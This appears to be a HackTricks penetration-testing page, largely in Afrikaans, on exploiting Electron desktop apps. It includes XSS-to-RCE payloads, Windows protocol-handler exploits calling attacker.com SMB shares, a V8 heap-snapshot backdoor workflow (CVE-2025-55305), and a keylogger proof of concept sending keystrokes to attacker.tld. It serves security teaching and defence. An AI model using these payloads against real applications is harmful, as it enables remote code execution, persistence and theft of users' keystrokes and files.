Electron Desktop Apps

Reading time: 23 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Introduction

Electron kombineer 'n plaaslike backend (met NodeJS) en 'n frontend (Chromium), alhoewel dit sommige van die sekuriteitsmeganismes van moderne blaaiers mis.

Gewoonlik sal jy die Electron-app se kode binne 'n .asar-toepassing vind; om die kode te bekom, moet jy dit uitpak:

bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

In die bronkode van 'n Electron-app, binne packet.json, kan jy die main.js-lĂȘer vind waarin security configs gestel is.

json
{
"name": "standard-notes",
"main": "./app/index.js",

Electron het 2 proses-tipes:

  • Main Process (het volle toegang tot NodeJS)
  • Renderer Process (moet vir sekuriteitsredes beperkte toegang tot NodeJS hĂȘ)

'n renderer process sal 'n blaaiervenster wees wat 'n lĂȘer laai:

javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()

//Open Renderer Process
win.loadURL(`file://path/to/index.html`)

Instellings van die renderer proses kan in die main proses binne die main.js file gekonfigureer word. Sommige konfigurasies sal die Electron application verhoed om RCE of ander kwesbaarhede te kry indien die instellings korrek gekonfigureer is.

Die Electron-toepassing kan die toestel via Node APIs toegang kry, alhoewel dit gekonfigureer kan word om dit te voorkom:

  • nodeIntegration - is off by default. As dit aan is, laat dit toegang tot Node-funksies vanaf die renderer proses toe.
  • contextIsolation - is on by default. As dit af is, is main- en renderer-prosesse nie geĂŻsoleer nie.
  • preload - leeg by verstek.
  • sandbox - is off by default. Dit sal die aksies wat NodeJS kan uitvoer beperk.
  • Node Integration in Workers
  • nodeIntegrationInSubframes- is off by default.
  • As nodeIntegration geaktiveer is, sal dit die gebruik van Node.js APIs in webbladsye wat in iframes binne 'n Electron-toepassing gelaai is, toelaat.
  • As nodeIntegration gedeaktiveer is, sal preloads in die iframe gelaai word

Example of configuration:

javascript
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}

Sommige RCE payloads van here:

html
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />

Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />

Vang verkeer

Wysig die start-main-konfigurasie en voeg die gebruik van 'n proxy by, soos:

javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Electron Local Code Injection

As jy 'n Electron App plaaslik kan uitvoer, is dit moontlik dat jy dit kan laat uitvoer arbitrĂȘre javascript-kode. Kyk hoe in:

macOS Electron Applications Injection

RCE: XSS + nodeIntegration

As die nodeIntegration op on gestel is, kan 'n webblad se JavaScript maklik Node.js-funksies gebruik deur net die require() aan te roep. Byvoorbeeld, die manier om die calc-toepassing op Windows uit te voer is:

html
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>

RCE: preload

Die skrip wat in hierdie instelling aangedui word, word gelaai voor ander skripte in die renderer, sodat dit onbeperkte toegang tot Node APIs het:

javascript
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

Daarom kan die skrip node-features na bladsye eksporteer:

preload.js
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
index.html
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>

[!NOTE] > As contextIsolation aangeskakel is, sal dit nie werk nie

RCE: XSS + contextIsolation

Die contextIsolation skep geskeide kontekste tussen die webblad-skripte en Electron se interne JavaScript-kode, sodat die uitvoering van JavaScript in elk nie die ander beĂŻnvloed nie. Dit is 'n nodige funksie om die moontlikheid van RCE uit te skakel.

As die kontekste nie geĂŻsoleer is nie, kan 'n aanvaller:

  1. Voer arbitrĂȘre JavaScript in renderer uit (XSS of navigasie na eksterne webwerwe)
  2. Oorskryf die ingeboude metode wat in preload of Electron se interne kode gebruik word om funksie oor te neem
  3. Aktiveer die gebruik van die oorskrewe funksie
  4. RCE?

Daar is 2 plekke waar ingeboude metodes oorgeskryf kan word: In preload code of in Electron internal code:

Electron contextIsolation RCE via preload code

Electron contextIsolation RCE via Electron internal code

Electron contextIsolation RCE via IPC

Bypass click event

As daar beperkings toegepas word wanneer jy op 'n skakel klik, kan jy dit moontlik omseil deur 'n middelkliek te doen in plaas van 'n gewone linkerkliek

javascript
window.addEventListener('click', (e) => {

RCE deur shell.openExternal

Vir meer inligting oor hierdie voorbeelde sien https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 en https://benjamin-altpeter.de/shell-openexternal-dangers/

Wanneer 'n Electron-desktoptoepassing gedeploy word, is dit noodsaaklik om die korrekte instellings vir nodeIntegration en contextIsolation te verseker. Dit is vasgestel dat client-side remote code execution (RCE) wat preload scripts of Electron se native code vanaf die main process teiken, effektief voorkom word wanneer hierdie instellings ingestel is.

Wanneer 'n gebruiker met skakels interaksie het of nuwe vensters oopmaak, word spesifieke event listeners geaktiveer, wat kritiek is vir die toepassing se sekuriteit en funksionaliteit:

javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

Hierdie listeners word deur die desktoptoepassing oorskryf om sy eie sakelogika te implementeer. Die toepassing evalueer of 'n genavigeerde skakel intern of in 'n eksterne webblaaier geopen moet word. Hierdie besluit word gewoonlik geneem deur 'n funksie, openInternally. As hierdie funksie false teruggee, dui dit aan dat die skakel eksterne geopen moet word deur die shell.openExternal funksie te gebruik.

Hier is 'n vereenvoudigde pseudocode:

https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png

https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png

Electron JS se sekuriteitsbeste praktyke raai daarteen om onbetroubare inhoud met die openExternal funksie te aanvaar, aangesien dit tot RCE via verskeie protokolle kan lei. Bedryfstelsels ondersteun verskillende protokolle wat RCE kan veroorsaak. Vir gedetailleerde voorbeelde en verdere verduideliking oor hierdie onderwerp kan mens na this resource verwys, wat Windows-protokolvoorbeelde insluit wat hierdie kwesbaarheid kan uitbuit.

In macos kan die openExternal funksie misbruik word om arbitrĂȘre opdragte uit te voer, soos in shell.openExternal('file:///System/Applications/Calculator.app').

Voorbeelde van Windows-protokoluitbuitings sluit in:

html
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>

<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>

<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>

RCE: webviewTag + vulnerable preload IPC + shell.openExternal

Hierdie kwesbaarheid kan gevind word in this report.

Die webviewTag is 'n verouderde funksie wat die gebruik van NodeJS in die renderer process toelaat, en behoort gedeaktiveer te word aangesien dit toelaat om 'n skrip binne die preload context te laai soos:

xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>

Daarom kan 'n aanvaller wat daarin slaag om 'n arbitrĂȘre bladsy te laai daardie tag gebruik om 'n arbitrĂȘre preload script te laai.

Hierdie preload script is toe misbruik om 'n kwesbare IPC service (skype-new-window) aan te roep, wat shell.openExternal aangeroep het om RCE te kry:

javascript
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();

Lees van Interne LĂȘers: XSS + contextIsolation

Deaktiveer van contextIsolation maak die gebruik van <webview>-tags moontlik, soortgelyk aan <iframe>, om plaaslike lĂȘers te lees en te exfiltrate. 'n Voorbeeld wys hoe om hierdie kwesbaarheid te exploit om die inhoud van interne lĂȘers te lees:

Verder word nog 'n metode vir lees van 'n interne lĂȘer gedeel, wat 'n kritieke plaaslike lĂȘerlees-kwesbaarheid in 'n Electron desktop app uitlig. Dit behels injecting a script om die toepassing te exploit en exfiltrate data:

html
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>

RCE: XSS + Oud Chromium

As die chromium wat deur die toepassing gebruik word oud is en daar bekende kwesbaarhede daarop is, mag dit moontlik wees om dit te uitbuit en RCE te verkry deur 'n XSS.
Jy kan 'n voorbeeld sien in hierdie beskrywing: https://blog.electrovolt.io/posts/discord-rce/

XSS Phishing via Interne URL regex bypass

Gestel jy het 'n XSS gevind maar jy kan nie RCE trigger of interne lĂȘers steel nie, kan jy probeer om dit te gebruik om inlogbewyse via phishing te steel.

Eerstens moet jy weet wat gebeur wanneer jy probeer om 'n nuwe URL te open, deur die JS-kode in die front-end na te gaan:

javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

Die oproep na openInternally sal bepaal of die skakel in die desktopvenster geopen sal word aangesien dit 'n skakel van die platform is, of of dit in die blaaier as 'n derdepartybron geopen sal word.

In die geval dat die regex wat deur die funksie gebruik word vatbaar is vir omseilings (byvoorbeeld deur nie die kolletjies van subdomeine te ontsnap nie) kan 'n aanvaller die XSS misbruik om 'n nuwe venster oop te maak wat in die aanvaller se infrastruktuur geleë sal wees en die gebruiker om credentials te vra:

html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

file:// Protocol

Soos vermeld in the docs het bladsye wat op file:// loop eenzijdige toegang tot elke lĂȘer op jou masjien, wat beteken dat XSS-kwessies gebruik kan word om arbitrĂȘre lĂȘers van die gebruiker se masjien te laai. Die gebruik van 'n custom protocol voorkom sulke probleme aangesien jy die protocol kan beperk sodat dit slegs 'n spesifieke stel lĂȘers bedien.

Remote module

Die Electron Remote module laat renderer processes toe om toegang tot main process APIs te kry, wat kommunikasie binne 'n Electron-toepassing vergemaklik. Die inskakeling van hierdie module bring egter beduidende sekuriteitsrisiko's mee. Dit vergroot die toepassing se aanvalsoppervlak, wat dit meer vatbaar maak vir kwesbaarheid soos cross-site scripting (XSS)-aanvalle.

tip

Alhoewel die remote module sommige APIs van main na renderer processes openbaar, is dit nie reguit om RCE te kry deur net die komponente te misbruik nie. Die komponente kan egter sensitiewe inligting openbaar.

warning

Baie apps wat steeds die remote module gebruik, doen dit op 'n wyse wat vereis dat NodeIntegration in die renderer process geaktiveer is, wat 'n enorme sekuriteitsrisiko is.

Sedert Electron 14 kan die remote module van Electron in verskeie stappe geaktiveer word; weens sekuriteits- en prestasie-redes word dit egter aanbeveel om dit nie te gebruik nie.

Om dit te aktiveer, moet dit eers in die main process geaktiveer word:

javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)

Dan kan die renderer-proses objekte van die module invoer wat dit wil:

javascript
import { dialog, getCurrentWindow } from '@electron/remote'

Die blog post dui 'n paar interessante funksies aan wat deur die objek app van die remote module blootgestel word:

  • app.relaunch([options])
  • Herbegin die toepassing deur die huidige instansie te beĂ«indig en 'n nuwe een te begin. Nuttig vir app updates of betekenisvolle staatveranderinge.
  • app.setAppLogsPath([path])
  • Definieer of skep 'n direktorie vir die stoor van app logs. Die logs kan opgehaal of gewysig word met app.getPath() of app.setPath(pathName, newPath).
  • app.setAsDefaultProtocolClient(protocol[, path, args])
  • Registreer die huidige uitvoerbare lĂȘer as die standaard behandelaar vir 'n gespesifiseerde protocol. Jy kan 'n pasgemaakte pad en argumente verskaf indien nodig.
  • app.setUserTasks(tasks)
  • Voeg take by die taakkategorie in die Jump List (op Windows). Elke taak kan beheer hoe die app gestart word of watter argumente oorgedra word.
  • app.importCertificate(options, callback)
  • Voer in 'n PKCS#12 certificate in na die stelsel se certificate store (slegs Linux). 'n Callback kan gebruik word om die resultaat te hanteer.
  • app.moveToApplicationsFolder([options])
  • Skuif die toepassing na die Applications folder (op macOS). Help om 'n standaard installasie vir Mac-gebruikers te verseker.
  • app.setJumpList(categories)
  • Stel of verwyder 'n pasgemaakte Jump List op Windows. Jy kan kategorieĂ« spesifiseer om te organiseer hoe take vir die gebruiker verskyn.
  • app.setLoginItemSettings(settings)
  • Konfigureer watter uitvoerbare lĂȘers by aanmelding begin tesame met hul opsies (slegs macOS en Windows).

Voorbeeld:

javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()

systemPreferences module

Die primĂȘre API vir toegang tot stelselvoorkeure en uitsending van stelselgebeure in Electron. Metodes soos subscribeNotification, subscribeWorkspaceNotification, getUserDefault, en setUserDefault is almal deel van hierdie module.

Voorbeeldgebruik:

javascript
const { systemPreferences } = require('electron');

// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});

// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);

subscribeNotification / subscribeWorkspaceNotification

  • Luister na native macOS-notifikasies gebruikmakend van NSDistributedNotificationCenter.
  • Voor macOS Catalina kon jy all distributed notifications sniff deur nil aan CFNotificationCenterAddObserver deur te gee.
  • Na Catalina / Big Sur kan sandboxed apps steeds subscribe na many events (byvoorbeeld, screen locks/unlocks, volume mounts, network activity, ens.) deur kennisgewings by name te registreer.

getUserDefault / setUserDefault

  • Koppel met NSUserDefaults, wat application of global voorkeure op macOS stoor.

  • getUserDefault kan sensitiewe inligting terugkry, soos onlangse lĂȘerliggings of die user’s geographic location.

  • setUserDefault kan hierdie voorkeure wysig, wat moontlik 'n app se configuration beĂŻnvloed.

  • In older Electron versions (before v8.3.0), was slegs die standard suite van NSUserDefaults accessible.

Shell.showItemInFolder

Hierdie funksie wys die gegewe lĂȘer in 'n file manager, wat die lĂȘer outomaties kan uitvoer.

For more information check https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html

Content Security Policy

Electron apps moet 'n Content Security Policy (CSP) hĂȘ om XSS attacks te voorkom. Die CSP is 'n veiligheidsstandaard wat help om die execution van untrusted code in die browser te voorkom.

Dit word gewoonlik geconfigureer in die main.js-lĂȘer of in die index.html-sjabloon met die CSP binne 'n meta tag.

For more information check:

Content Security Policy (CSP) Bypass

RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)

Hierdie werklike ketting het Visual Studio Code 1.63 (CVE-2021-43908) beĂŻnvloed en demonstreer hoe 'n enkele markdown-driven XSS in 'n webview na volle RCE opgegradeer kan word wanneer CSP, postMessage, en scheme handlers verkeerd gekonfigureer is. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt

Attack chain overview

  • Eerste XSS via webview CSP: Die gegenereerde CSP het style-src 'self' 'unsafe-inline' ingesluit, wat inline/style-gebaseerde injectie in 'n vscode-webview:// konteks toegelaat het. Die payload het na /stealID gestuur om die teiken-webview se extensionId te eksfiltreer.
  • Konstrukteer teiken-webview URL: Gebruik die leaked ID om vscode-webview://<extensionId>/.../<publicUrl> te bou.
  • Tweede XSS via postMessage trust: Die buitenste webview het window.postMessage vertrou sonder streng origin/type kontrole en het attacker HTML gelaai met allowScripts: true.
  • Plaaslike lĂȘerlaai via skema/pad-herskrywing: Die payload het file:///... na vscode-file://vscode-app/... herskryf en exploit.md vir RCE.html verwissel, en misbruik swak padvalidering om 'n bevoorregte plaaslike bron te laai.
  • RCE in Node-enabled konteks: Die gelaaide HTML het uitgevoer met Node APIs beskikbaar, wat uitvoering van OS-opdragte moontlik gemaak het.

Example RCE primitive in the final context

js
// RCE.html (executed in a Node-enabled webview context)
require('child_process').exec('calc.exe');            // Windows
require('child_process').exec('/System/Applications/Calculator.app'); // macOS

Verwante leesstof oor postMessage vertrouenskwessies:

PostMessage Vulnerabilities

Gereedskap

  • Electronegativity is 'n instrument om miskonfigurasies en sekuriteits-anti-patrone in Electron-based applications te identifiseer.
  • Electrolint is 'n open source VS Code plugin vir Electron applications wat Electronegativity gebruik.
  • nodejsscan om kwesbare derdeparty-biblioteke te kontroleer
  • Electro.ng: Jy moet dit koop

Labs

In https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s kan jy 'n lab vind om kwesbare Electron-apps uit te buit.

Sommige opdragte wat jou met die lab sal help:

bash
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

Lokaal backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305

Electron and Chromium-based apps deserialize a prebuilt V8 heap snapshot at startup (v8_context_snapshot.bin, and optionally browser_v8_context_snapshot.bin) to initialize each V8 isolate (main, preload, renderer). Historically, Electron’s integrity fuses did not treat these snapshots as executable content, so they escaped both fuse-based integrity enforcement and OS code-signing checks. As a result, replacing the snapshot in a user-writable installation provided stealthy, persistent code execution inside the app without modifying the signed binaries or ASAR.

Belangrike punte

  • Integriteitsgaping: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, but they did not cover V8 heap snapshots (CVE-2025-55305). Chromium similarly does not integrity-check snapshots.
  • Aanval voorafvoorwaardes: LokalĂȘ lĂȘerskryf na die app se installasiegids. Dit is algemeen op stelsels waar Electron apps of Chromium browsers onder gebruiker-skryfbare paadjies geĂŻnstalleer is (bv. %AppData%\Local op Windows; /Applications met voorbehoude op macOS).
  • Effek: Betroubare uitvoering van attacker JavaScript in enige isolate deur 'n gereeld gebruikte builtin (a “gadget”) te oorskryf, wat volharding en ontduiking van code-signing verifikasie moontlik maak.
  • Aangetaste oppervlak: Electron apps (selfs met fuses aangeskakel) en Chromium-gebaseerde browsers wat snapshots vanaf gebruiker-skryfbare lokasies laai.

Generering van 'n malicious snapshot sonder om Chromium te bou

  • Gebruik die prebuilt electron/mksnapshot om 'n payload JS in 'n snapshot te compileer en die toepassing se v8_context_snapshot.bin oor te skryf.

Voorbeeld van 'n minimale payload (bewys uitvoering deur 'n crash te forceer)

js
// Build snapshot from this payload
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
// Replace the application’s v8_context_snapshot.bin with the generated file

const orig = Array.isArray;

// Use Array.isArray as a ubiquitous gadget
Array.isArray = function () {
// Executed whenever the app calls Array.isArray
throw new Error("testing isArray gadget");
};

Isolate-bewuste payload-roetering (hardloop verskillende kode in main vs. renderer)

  • Main-proses-detektering: Node-only globals soos process.pid, process.binding(), of process.dlopen is teenwoordig in die main-proses isolate.
  • Browser/renderer-detektering: Browser-only globals soos alert is beskikbaar wanneer dit in 'n dokument-konteks uitgevoer word.

Voorbeeld-gadget wat eenmalig die main-proses se Node-vermoëns ondersoek.

js
const orig = Array.isArray;

Array.isArray = function() {
// Defer until we land in main (has Node process)
try {
if (!process || !process.pid) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}

// Run once
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
console.log('[payload] isArray hook started ...');

// Capability probing in main
console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
process.exit(0);
}
return orig(...arguments);
};

Renderer/browser-context datadiefstal PoC (bv. Slack)

js
const orig = Array.isArray;
Array.isArray = function() {
// Wait for a browser context
try {
if (!alert) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}

if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
setInterval(() => {
window.onkeydown = (e) => {
fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'})
}
}, 1000);
}
return orig(...arguments);
};

Operator-werkvloei

  1. Skryf payload.js wat 'n algemene builtin oorskryf (bv. Array.isArray) en opsioneel per isolate vertakkings uitvoer.
  2. Bou die snapshot sonder Chromium-bronne:
  • npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
  1. Oorskryf die teikentoepassing se snapshot-lĂȘer(s):
  • v8_context_snapshot.bin (altyd gebruik)
  • browser_v8_context_snapshot.bin (indien die LoadBrowserProcessSpecificV8Snapshot fuse gebruik word)
  1. Begin die toepassing; die gadget voer uit telkens wanneer die gekose builtin gebruik word.

Aantekeninge en oorwegings

  • Integriteit/handtekening-omseiling: Snapshot-lĂȘers word nie deur code-signing kontrole as inheemse uitvoerbare lĂȘers beskou nie en (histories) was hulle nie deur Electron’s fuses of Chromium integriteitskontroles gedek nie.
  • Bestendigheid: Om die snapshot in 'n gebruikers-skryfbare installasie te vervang oorleef gewoonlik app-herlaaisels en lyk dit soos 'n getekende, wettige app.
  • Chromium-blaaiers: Dieselfde manipulasie‑konsep geld vir Chrome/afgeleides wat in gebruikers-skryfbare liggings geĂŻnstalleer is. Chrome het ander integriteits-teenmaatreĂ«ls, maar sluit uitdruklik fisies plaaslike aanvalle uit van sy bedreigingsmodel.

Opsporing en teenmaatreëls

  • Behandel snapshots as uitvoerbare inhoud en sluit hulle in by integriteitsdwinging (CVE-2025-55305 fix).
  • Voorkeur vir slegs admin-skryfbare installasie-liggings; stel 'n basislyn vas en moniteer hashes vir v8_context_snapshot.bin en browser_v8_context_snapshot.bin.
  • Detecteer vroeĂ«-runtime builtin oorskrywings en onverwagte snapshot-veranderinge; waarsku wanneer gedeserialiseerde snapshots nie die verwagte waardes ooreenstem nie.

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks